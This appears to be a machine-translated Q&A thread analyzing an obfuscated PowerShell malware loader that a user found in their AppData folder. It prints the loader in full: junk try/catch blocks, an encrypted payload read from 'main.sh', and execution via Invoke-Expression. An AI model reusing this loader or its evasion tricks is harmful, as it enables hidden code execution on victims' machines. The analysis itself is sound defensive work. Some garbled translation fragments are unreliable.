Windows PowerShell 恶意脚本

Windows PowerShell Malicious script

我在 %appdata%Roaming 的文件夹中找到了这段代码:( 谁能告诉我它有什么作用?

try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{

$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}

谢谢!

让我们看看。第一个 try-catch 可能是为了避免粗略检查而混淆。关键点(双关语)在 catch 块中。它包含有效负载,因此 try 块旨在引发异常。

$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
  -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";

该变量包含混淆词powershell,通过将大量无意义的字符串替换为空来揭示。 -replce 带有搜索参数但没有替换参数,因此它只是删除填充符 IoG, ZsvjJ...

$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);

这里Get-Process用来判断Powershell是否运行ning。如果没有多个进程 运行,创建一个包含值 1-16 的数组。这可能是为了避免交互式会话处于活动状态的情况。

$HXZBX=[System.Runtime.InteropServices.Marshal]

为 InterOpServices 的 Marshal 创建一个别名。这里没有什么麻烦,合法的用途是节省输入和读取长名称空间描述符的时间。

$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;

已读取文件 main.sh。它包含一个 SecureString,使用密钥 1,2,3...,15,16 加密。

$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);

SecureString 负载转换为 BSTR。我猜这是

try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}

另一个“让我们隐藏在catch块中”,它设置了一个带有废话内容的变量。不知道为什么。

$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}

另一个解密步骤,然后在另一个 try-catch 块中出现奇怪的东西,没有明显的意图。

$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}

对 SecureString 转换的最终有效负载进行过滤以消除混淆,并将结果传递给 Invoke-Expression 以供执行。

要查看有效负载是什么,请按照 Jeramy 的评论进行操作。将变量名称替换为更具描述性:

$key=@(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString) 
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"